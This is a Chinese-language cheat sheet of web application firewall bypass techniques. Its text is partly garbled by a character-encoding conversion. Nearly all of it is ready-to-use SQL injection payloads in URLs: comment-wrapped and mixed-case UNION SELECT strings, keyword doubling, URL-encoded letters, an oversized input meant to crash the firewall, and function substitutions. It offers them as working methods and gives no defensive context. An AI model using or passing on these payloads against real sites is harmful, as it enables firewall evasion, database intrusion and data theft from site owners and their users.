WAF繞過(guò)方法從簡(jiǎn)單到高級(jí)
什么是WAF?
Web應(yīng)用防火墻是通過(guò)執(zhí)行一系列針對(duì)HTTP/HTTPS的安全策略來(lái)專門為Web應(yīng)用提供保護(hù)的一款產(chǎn)品。
基本/簡(jiǎn)單繞過(guò)方法:
1、注釋符
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
2、使用大小寫
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、結(jié)合前面兩種方法
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….
4、關(guān)鍵字替換
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法適用于一些會(huì)把union select替換掉的WAF,經(jīng)過(guò)WAF過(guò)濾后就會(huì)變成 union select 1,2,3,4....
5、內(nèi)部注釋
http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
U替換為%55,S替換為%53 在 union 和 select 之間添加注釋/**/
高級(jí)繞過(guò)方法:
1、緩沖區(qū)溢出/使防火墻崩潰
大部分防火墻都是基于C/C++開發(fā)的,我們可以使用緩沖區(qū)溢出使用WAF崩潰
http://www.2cto.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
你可以使用如下方法測(cè)試WAF
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
如果返回500錯(cuò)誤,你就可以使用緩沖區(qū)溢出的方法來(lái)繞過(guò)WAF
2、對(duì)字母進(jìn)行編碼
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
3、使用其他變量或者命令對(duì)注入語(yǔ)句進(jìn)行替換
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、利用WAF本身的功能繞過(guò)
假如你發(fā)現(xiàn)WAF會(huì)把"*"替換為空,那么你就可以利用這一特性來(lái)進(jìn)行繞過(guò)
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)